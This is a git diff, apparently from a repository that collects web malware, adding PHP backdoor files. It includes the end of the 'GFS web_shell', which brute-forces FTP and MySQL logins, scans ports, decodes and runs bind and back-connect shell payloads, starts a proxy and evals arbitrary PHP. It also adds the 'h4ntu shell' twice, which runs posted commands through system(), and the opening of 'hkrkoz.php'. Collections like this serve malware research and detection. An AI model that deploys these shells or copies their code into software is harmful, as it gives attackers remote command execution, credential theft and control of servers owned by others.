"<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + foreach($lib as $kk=>$vv){ + $conn_id=mysql_connect($host,$v,$lib[$kk]); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : ".$lib[$kk]." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + mysql_close($conn_id); + } + } + } + echo "</table>"; + } + }elseif($type2=="lib:lib"){ + $input=file($file); + foreach($input as $i=>$v){ + $word=explode(":",$v); + $res.=$word[0]." ".$word[1]." "; + } + $lib=explode(" ",$res); + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $count_lib=count($lib); + for($kk=0; $kk<$count_lib; $kk=$kk+2){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id,$lib[$kk],$lib[$kk+1])){ + echo "<tr><td alling=center> ".$lib[$kk]." : ".$lib[$kk+1]." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + ftp_close($conn_id); + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $count_lib=count($lib); + for($kk=0; $kk<$count_lib; $kk=$kk+2){ + if($lib[$kk]!=""){ + $conn_id=mysql_connect($host,$lib[$kk],$lib[$kk+1]); + if($conn_id){ + echo "<tr><td alling=center> ".$lib[$kk]." : ".$lib[$kk+1]." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + mysql_close($conn_id); + } + } + echo "</table>"; + } + } +} + +//////////////////////////////////////////////////////////////////////////////// +///////////////////////////////// ��� ////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// +echo $HTML; +echo "<font face=Verdana size=2 color=blue><b>"; +echo (rep_char("&nbsp;",15)); +echo "GFS web_shell ver 3.1.7 </b></font>"; +echo "<hr size=3 color=black>"; +sysinfo(); +echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; +echo "<table BORDER=1 align=center>"; +if($r_act=="nav" OR $r_act==NULL){ + echo "<tr bgcolor=#ffff00><td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"nav\"><b>Navigation</b></td>"; +}else + echo "<tr bgcolor=#ffff00><td alling=\"center\"><input type=radio name=\"r_act\" value=\"nav\"><b>Navigation</b></td>"; +if(!$safe_mode){ + if($r_act=="bind"){ + echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"bind\"><b>BindPort</b></td>"; + }else + echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"bind\"><b>BindPort</b></td>"; +} + +if(function_exists(fsockopen)){ + if($r_act=="port"){ + echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"port\"><b>PortScan</b></td>"; + }else + echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"port\"><b>PortScan</b></td>"; +} +if($r_act=="brute"){ + echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"brute\"><b>Brute</b></td>"; +}else + echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"brute\"><b>Brute</b></td>"; +if($r_act=="eval"){ + echo "<td alling=\"center\"><input type=radio checked name=\"r_act\" value=\"eval\"><b>Eval</b></td>"; +}else + echo "<td alling=\"center\"><input type=radio name=\"r_act\" value=\"eval\"><b>Eval</b></td>"; +echo "<td><input type=submit name=\"b_act\" value=\"Change\"></td></tr></table></form>"; +################## ACTION ###################################################### +if($r_act=="nav" OR $r_act==NULL){ + $box=$_POST['box']; + if($_POST['b_save']){ + $res=save_file($_POST['text'],$_POST['fname'],$_POST['dname']); + }elseif($_POST['b_new_file']){ + open_file($_POST['new'],"wb",$_POST['dname']); + }elseif($_POST['b_open_file']){ + open_file($_POST['fname'],"r",$_POST['dname']); + }elseif($_POST['b_mail']){ + $res="Function under construction!!!!!!!!!"; + }elseif($_POST['b_run']){ + chdir($_POST['wdir']); + $dir=getcwd(); + $res=ex($_POST['cmd']); + }elseif($_POST['b_f_file']){ + chdir($_POST['wdir']); + $dir=getcwd(); + $res=ex("whereis ".$_POST['ffile']); + }elseif($_POST['b_upload']){ + $s="Uploading file ".$_POST['lfilename']." use the ".$box; + $res=up_file($_POST['lfilename'],$_POST['tfilename'],$_POST['box']); + }elseif($_POST['b_mydb']){ //������� ������ �� + $s="show_exists_db"; + $res=db_show($_POST['host'], $_POST['username'], $_POST['pass']); + }elseif ($_POST['b_runsql']){ //��������� SQL ������ + $s="SQL: ".$sql; + $res=run_sql($_POST['sql'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + }elseif($_POST['b_base']){ //������� ������ ������ + $s="show_exists_tables"; + $res=show_tables($_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + }elseif($_POST['b_table']){ //������� ���� ������� + $s="Dump of ".$_POST['tablename']; + $tablename=$_POST['tablename']; + if ($tablename!=""){ + $res=dump_table($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + }else + $res="Select table!"; + }elseif($_POST['b_safe_fuck']){ //����� ����������� ������ + $s="Open file ".$sfilename." with MySQL:"; + $res=safe_mode_fuck($_POST['sfilename'],$_POST['host'], $_POST['username'], $_POST['pass'], $_POST['dbname']); + }elseif($_POST['b_dfilename']){ //����� ����������� ������ + $s="Dump in ".$dfilename." from ".$_POST['tablename'].":"; + $res=run_sql("SELECT * INTO OUTFILE '".addslashes($_POST['dfilename'])."' FROM ".$_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + } + if ($host=="") {$host="localhost";} + if(isset($res)){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo $res; + echo "</textarea></td></tr></table>"; + } +################## EXECUTE ##################################################### + if(!$safe_mode){ + $dir=getcwd(); + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Run command: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"\" name=\"cmd\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Run\" name=\"b_run\"></td></tr>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"$dir\" name=\"wdir\"></td>"; + echo "</tr></table></form>"; + } + echo "<hr size=3 color=black>"; +#################### UPLOAD #################################################### + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Upload files: </b></td></tr><font size=-2>"; + if ($box==""){ $box="fopen";} + echo ("<tr><td alling=\"center\"><b>Use/from: </b><SELECT name=\"box\">"); + echo("<OPTION>$box</option>"); + echo("<OPTION value=\"PC\">PC</option> + <option value=\"WGET\">WGET</option><option value=\"FETCH\"> + FETCH</option><option value=\"LYNX\">LYNX</option> + <option value=\"cURL\">cURL</option> + <option value=\"fopen\">fopen</option></select></td></tr>"); + echo "<tr><td alling=\"center\"><b>File: </b><input type=\"text\" name=\"lfilename\" size=50></td></tr>"; + echo "<tr><td alling=\"center\"><b>Target: </b><input type=\"text\" name=\"tfilename\" + size=30 value=\"$tfilename\"></td></tr>"; + echo "<tr><td alling=\"center\"><input type=\"submit\" name=\"b_upload\" value=\"UPLOAD\"></td></tr></table></form></font></font>"; + echo "<hr size=3 color=black>"; +##################### MySQL #################################################### + if(isset($_POST['host'])){ + $host=$_POST['host']; + } + if(isset($_POST['dbname'])){ + $dbname=$_POST['dbname']; + } + if(isset($_POST['tablename'])){ + $tablename=$_POST['tablename']; + } + if(isset($_POST['sql'])){ + $sql=$_POST['sql']; + } + if(isset($_POST['sfilename'])){ + $filename=$_POST['sfilename']; + } + if(isset($_POST['dfilename'])){ + $dfilename=$_POST['dfilename']; + } + if(isset($_POST['username'])){ + $username=$_POST['username']; + } + if(isset($_POST['pass'])){ + $pass=$_POST['pass']; + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>MySQL DB connect: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><b>Host name:</b></td>"; + echo "<td alling=\"center\"><b>DB name:</b></td>"; + echo "<td alling=\"center\"><b>Table name:</b></td>"; + echo "<td alling=\"center\"><b>SQL command: </b></td></tr>"; + echo ("<tr><td alling=\"center\"><input type=\"text\" name=\"host\" value=\"$host\"></td>"); + echo ("<td alling=\"center\"><input type=\"text\" name=\"dbname\" value=\"$dbname\"></td>"); + echo ("<td alling=\"center\"><input type=\"text\" name=\"tablename\" value=\"$tablename\"></td>"); + echo ("<td alling=\"center\"><input type=\"text\" name=\"sql\" value=\"$sql\"></td></tr>"); + echo "<tr><td alling=\"center\"><b>User name:</b></tb>"; + echo "<td alling=\"center\"><input type=\"submit\" name=\"b_base\" value=\"Dump DB\"></td>"; + echo "<td alling=\"center\"><input type=\"submit\" name=\"b_table\" value=\"Dump table\"></td>"; + echo "<td alling=\"center\"><input type=\"submit\" name=\"b_runsql\" value=\"Run SQL\"></tb></tr>"; + echo ("<tr><td alling=\"center\"><input type=\"text\" name=\"username\" value=\"$username\"></td><td alling=\"center\"></td><td alling=\"center\"><input type=\"submit\" name=\"b_dtable\" value=\"Download\"></td></tr>"); + echo "<tr><td alling=\"center\"><b>Pass: </b></td>"; + if ($safe_mode){ + echo "<td alling=\"center\"><b>OpenFilename: </b></td><td alling=\"center\"><b>DumpFilename: </b></td></tr>"; + }else + echo "<td alling=\"center\"></td><td alling=\"center\"><b>DumpFilename: </b></td></tr>"; + echo ("<tr><td alling=\"center\"><input type=\"text\" name=\"pass\" value=\"$pass\"></td>"); + if ($safe_mode){ + echo "<td alling=\"center\"><input type=\"text\" name=\"sfilename\" value=\"$filename\"></td><td alling=\"center\"><input type=\"text\" name=\"b_dfilename\" value=\"$dfilename\"></td></tr>"; + }else + echo "<td alling=\"center\"></td><td alling=\"center\"><input type=\"text\" name=\"dfilename\" value=\"$dfilename\"></td></tr>"; + echo ("<tr><td alling=\"center\"><input type=\"submit\" name=\"b_mydb\" value=\"Show exists DB\"></td>"); + if ($safe_mode){ + echo ("<td alling=\"center\"><input type=\"submit\" name=\"b_safe_fuck\" value=\"SafeMode FileOpen\"></td>"); + }else + echo "<td alling=\"center\"></td>"; + echo("<td alling=\"center\"><input type=\"submit\" name=\"b_dfilename\" value=\"Dump table\"></td>"); + echo "</tr></table></font></font>"; + echo "<hr size=3 color=black>"; +################## NAVIGATION ################################################## + list_dir(); +} +##################### PortScan ################################################# +if($r_act=="port"){ + if($_POST['host']==""){ + $host="localhost"; + }else + $host=$_POST['host']; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Scan host: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"".$host."\" name=\"host\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Scan\" name=\"b_scan\"></td></tr>"; + echo "</tr></table></form>"; + if($_POST['b_scan']){ + portscan($host); + } +} +##################### PortBind ################################################# +if($r_act=="bind"){ + if($_POST['b_bind']){ + if($_POST['box']=="C++"){ + save_file(base64_decode($port_c),"/var/tmp/gfs.c",getcwd()); + ex("gcc /var/tmp/gfs.c"); + unlink("/var/tmp/gfs.c"); + ex("/var/tmp/a.out ".$_POST['port']." &"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo ex("ps -aux | grep a.out"); + echo "</textarea></td></tr></table>"; + } + if($_POST['box']=="Perl"){ + save_file(base64_decode($port_pl),"/var/tmp/gfs.pl",getcwd()); + ex("perl /var/tmp/gfs.pl ".$_POST['port']." &"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo ex("ps -aux | grep gfs.pl"); + echo "</textarea></td></tr></table>"; + } + } + if($_POST['b_connect']){ + if($_POST['box']=="C++"){ + save_file(base64_decode($back_connect_c),"/var/tmp/gfs.c",getcwd()); + ex("gcc -o /var/tmp/gfs.c /var/tmp/gfs"); + unlink("/var/tmp/gfs.c"); + ex("/var/tmp/gfs ".$_POST['ip']." ".$_POST['port']." &"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ..."; + echo "</textarea></td></tr></table>"; + } + if($_POST['box']=="Perl"){ + save_file(base64_decode($back_connect_pl),"/var/tmp/gfs.pl",getcwd()); + ex("perl /var/tmp/gfs.pl ".$_POST['ip']." ".$_POST['port']." &"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>".$s."</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ..."; + echo "</textarea></td></tr></table>"; + } + } + if($_POST['b_proxy']){ + save_file(stripslashes(base64_decode($prx1).$_POST['port'].base64_decode($prx2)),"/var/tmp/gfs.pl",getcwd()); + ex("perl /var/tmp/gfs.pl"); + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>Proxy</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo ex("ps -aux | grep gfs.pl"); + echo "</textarea></td></tr></table>"; + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Bind Port: </b></td></tr><font size=-2>"; + echo ("<tr><td alling=\"center\"><b>Use: </b><SELECT name=\"box\">"); + echo("<OPTION value=\"C++\">C++</option> + <option value=\"Perl\">Perl</option></select></td></tr>"); + echo "<tr><td alling=\"center\"><b><font face=Verdana size=2>BindPort: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"26660\" name=\"port\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Bind\" name=\"b_bind\"></td></tr>"; + echo "</tr></table></form>"; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Back connect: </b></td></tr><font size=-2>"; + echo ("<tr><td alling=\"center\"><b>Use: </b><SELECT name=\"box\">"); + echo("<OPTION value=\"C++\">C++</option> + <option value=\"Perl\">Perl</option></select></td></tr>"); + echo "<tr><td alling=\"center\"><b><font face=Verdana size=2>RemotePort: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"26660\" name=\"port\"></td></tr>"; + echo "<tr><td alling=\"center\"><b><font face=Verdana size=2>RemoteIp: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"".$REMOTE_ADDR."\" name=\"ip\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Connect\" name=\"b_connect\"></td></tr>"; + echo "</tr></table></form>"; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>HTTPProxy: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><b><font face=Verdana size=2>ProxyPort: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><input style='width:300px;' type=\"text\" value=\"46660\" name=\"port\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Create\" name=\"b_proxy\"></td></tr>"; + echo "</tr></table></form>"; +} +##################### Brute #################################################### +if($r_act=="brute"){ + if(isset($_POST['brute_host'])){ + $host=$_POST['brute_host']; + }else + $host="localhost"; + if(isset($_POST['lib'])){ + $lib=$_POST['lib']; + }else + $lib=" [library]"; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Brute: </b></td></tr><font size=-2>"; + echo "<tr bgcolor=#00ff00><td alling=\"center\"><b>Example lib: </b>login:pass</td></tr>"; + echo ("<tr><td alling=\"center\"><b>Bryte type: </b><SELECT name=\"box1\">"); + echo("<option value=\"login:login\">login:login</option> + <option value=\"login:nigol\">login:nigol</option> + <option value=\"login:empty\">login:empty</option> + <option value=\"login:number\">login:number</option>"); + if(function_exists(fopen)){ + echo "<option value=\"login:lib\">login:lib</option>"; + echo "<option value=\"lib:lib\">lib:lib</option>"; + } + echo ("</select></td></tr>"); + echo ("<tr><td alling=\"center\"><b>Use: </b><SELECT name=\"box\">"); + echo("<OPTION value=\"mysql\">mysql</option> + <option value=\"ftp\">ftp</option>"); +// if(function_exists(ssh2_connect)){ +// echo "<option value=\"ssh\">ssh</option>"; +// } + echo ("</select></td>"); + echo("<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Brute\" name=\"b_brute\"></td></tr><tr><td alling=\"center\"><b>Host: </b><input type=\"text\" name=\"brute_host\" value=\"".$host."\">(for lib:lib)</td></tr>"); + if(function_exists(fopen)){ + echo "<td alling=\"center\"><b>From lib (if set): <input type=\"text\" name=\"lib\" value=\"".$lib."\">"; + } + echo ("</table></form>"); + if($_POST['b_brute']){ + brute($_POST['box'],$_POST['box1'],$_POST['brute_host'],$_POST['lib']); + } +} +#################### Eval ###################################################### +if($r_act=="eval"){ + if($_POST['b_eval']){ + $eval=str_replace("<?","",$_POST['php_eval']); + $eval=str_replace("?>","",$eval); + eval($eval); + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Eval php: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><textarea name=\"php_eval\" cols=90 rows=15></textarea></td></tr><tr><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Eval\" name=\"b_eval\"></td></tr>"; + echo "</tr></table></form>"; +} + +echo "<hr size=3 color=black>"; +echo "<font face=Verdana size=2 color=blue><b>"; +echo (rep_char("&nbsp",15)); +echo "(c) GFS</font>"; +echo (rep_char("&nbsp",15)); +echo "<a href=\"http://www.gfs-team.ru\">www.gfs-team.ru</a>"; +echo "<hr size=3 color=black>"; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/h4ntu shell [powered by tsoi].php b/web-malware-collection-master/Backdoors/PHP/h4ntu shell [powered by tsoi].php new file mode 100755 index 0000000..eb61f3d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/h4ntu shell [powered by tsoi].php @@ -0,0 +1,78 @@ +<title>h4ntu shell [powered by tsoi]</title> +<?php +echo "<p><font size=2 face=Verdana><b>This Is The Server Information</b></font></p>"; +?> + +<?php + closelog( ); + $user = get_current_user( ); + $login = posix_getuid( ); + $euid = posix_geteuid( ); + $ver = phpversion( ); + $gid = posix_getgid( ); + if ($chdir == "") $chdir = getcwd( ); + if(!$whoami)$whoami=exec("whoami"); +?> +<meta name="generator" content="Namo WebEditor v5.0"> +<br> +<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0"> +<?php + $uname = posix_uname( ); + while (list($info, $value) = each ($uname)) { +?> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD> + </TR> +<?php + } +?> + <TR> + + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current Path:</b> <?= $chdir ?></DIV></TD> + + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?></DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> + </TR> + + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Adress:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Script Current User:</b> <?= $user ?></DIV></TD> + </TR> + <TR> + + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD> + </TR> +</TABLE> +<BR> + +<font face="courier new" size="2" color="777777"><b>#</b>php injection: <br> +</font><FORM name=injection METHOD=POST ACTION="<?php echo $_SERVER["REQUEST_URI"];?>"> +<font face="courier new" size="2" color="777777">cmd : +<INPUT TYPE="text" NAME="cmd" value="<?php echo stripslashes(htmlentities($_POST['cmd'])); ?>" size="161"> +<br> +<INPUT TYPE="submit"> +</font></FORM> + +<hr color=777777 width=100% height=115px> + +<pre> +<? +$cmd = $_POST['cmd']; + if (isset($chdir)) @chdir($chdir); + ob_start(); + system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); + $output = ob_get_contents(); + ob_end_clean(); + if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); +exit; +?> +</pre> diff --git a/web-malware-collection-master/Backdoors/PHP/h4ntu shell [powered by tsoi].txt b/web-malware-collection-master/Backdoors/PHP/h4ntu shell [powered by tsoi].txt new file mode 100755 index 0000000..eb61f3d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/h4ntu shell [powered by tsoi].txt @@ -0,0 +1,78 @@ +<title>h4ntu shell [powered by tsoi]</title> +<?php +echo "<p><font size=2 face=Verdana><b>This Is The Server Information</b></font></p>"; +?> + +<?php + closelog( ); + $user = get_current_user( ); + $login = posix_getuid( ); + $euid = posix_geteuid( ); + $ver = phpversion( ); + $gid = posix_getgid( ); + if ($chdir == "") $chdir = getcwd( ); + if(!$whoami)$whoami=exec("whoami"); +?> +<meta name="generator" content="Namo WebEditor v5.0"> +<br> +<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0"> +<?php + $uname = posix_uname( ); + while (list($info, $value) = each ($uname)) { +?> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD> + </TR> +<?php + } +?> + <TR> + + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current Path:</b> <?= $chdir ?></DIV></TD> + + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?></DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> + </TR> + + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Adress:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Script Current User:</b> <?= $user ?></DIV></TD> + </TR> + <TR> + + <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD> + </TR> +</TABLE> +<BR> + +<font face="courier new" size="2" color="777777"><b>#</b>php injection: <br> +</font><FORM name=injection METHOD=POST ACTION="<?php echo $_SERVER["REQUEST_URI"];?>"> +<font face="courier new" size="2" color="777777">cmd : +<INPUT TYPE="text" NAME="cmd" value="<?php echo stripslashes(htmlentities($_POST['cmd'])); ?>" size="161"> +<br> +<INPUT TYPE="submit"> +</font></FORM> + +<hr color=777777 width=100% height=115px> + +<pre> +<? +$cmd = $_POST['cmd']; + if (isset($chdir)) @chdir($chdir); + ob_start(); + system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); + $output = ob_get_contents(); + ob_end_clean(); + if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); +exit; +?> +</pre> diff --git a/web-malware-collection-master/Backdoors/PHP/hkrkoz.php b/web-malware-collection-master/Backdoors/PHP/hkrkoz.php new file mode 100755 index 0000000..6f75a6c --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/hkrkoz.php @@ -0,0 +1,1522 @@ +<?php +/******************************************************************************************************/ +/* hkrkoz.php - wWw.Hkrkoz.cOm +/* гдЩгЙ еЯСЯжТ бЬ еЯС ЗбЪСИн: http://wWw.Hkrkoz.cOm +/* by: 1.0 (03.10.2006) +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* Кг жЦЪ ЗбНгЗне ИУ ЗбФЗШС нЭКНеЗ Уебе HkRkoz ЗбТЪнг +/* +/* by Hkrkoz@Hkrkoz.com ЗбФЯС ббе жНПе жЗбФЯС ббМгнЪ ЗбЪСИ +/******************************************************************************************************/ +/* ~~~ ЗбОнЗСЗК | ЗбОнЗСЗК ~~~ */ + +// бКФЫнб гнТЙ ЗбСЮг ЗбУСн Зж КЪШнбе | Authentification +// $auth = 0; - ЗбСЮг жЗНП бКФЫнб ЗбСЮг ЗбУСн ( authentification = On ) +// $auth = 0; - ЗбСЮг ХЭС бКЪШнб ЗбСЮг ЗбУСн ( authentification = Off ) +$auth = 0; + +// (Login & Password for access) +// !!! (CHANGE THIS!!!) +// md5, ЗбИЗУжСП жЗбнжТС нКг КФЭнСег ИЬЬ 'Hkrkoz' +// Login & password crypted with md5, default is 'Hkrkoz' +$name='7c7f0f5f0f9e774ec437e1077e6c84a7'; // ЗбнжТС ЗбгФЭС (user login) +$pass='7c7f0f5f0f9e774ec437e1077e6c84a7'; // ЗбИЗУжСП ЗбгФЭС (user password) +/******************************************************************************************************/ +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="жнд СЗнН нЗбРнИї бЗ нЯжд КЮФС ИХб ееееее"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://wWw.Hkrkoz.cOm></a> : ЗбПОжб бЬ еЯСЯжТ ЗбЯжнК ЭЮШ :)</b>"); + } +} +?> + + +<html> +<head> +<title>* Hkrkoz * </title> +<body bgcolor="#000000"> +<table Width='100%' height='10%' bgcolor='#AA0000' border='1'> +<tr> +<td><center><font size='6' color='#BBB516'> HkRkoz ALKuwaiT</font></center></td> +</tr> +</table> +<style type="text/css"> +body, td { + font-family: "Tahoma"; + font-size: "12px"; + line-height: "150%"; +} +.smlfont { + font-family: "Tahoma"; + font-size: "11px"; +} +.INPUT { + FONT-SIZE: "12px"; + COLOR: "#000000"; + BACKGROUND-COLOR: "#FFFFFF"; + height: "18px"; + border: 1px solid #666666 none; + padding-left: "2px" +} +.redfont { + COLOR: "#A60000"; +} +a:link, a:visited, a:active { + color: "#FF0000"; + text-decoration: underline; +} +a:hover { + color: "#FFFFFF"; + text-decoration: none; +} +.top {BACKGROUND-COLOR: "#AA0000"} +.firstalt {BACKGROUND-COLOR: "#000000"} +.secondalt {BACKGROUND-COLOR: "#000000"} +</style> +<SCRIPT language=JavaScript> +function CheckAll(form) { + for (var i=0;i<form.elements.length;i++) { + var e = form.elements[i]; + if (e.name != 'chkall') + 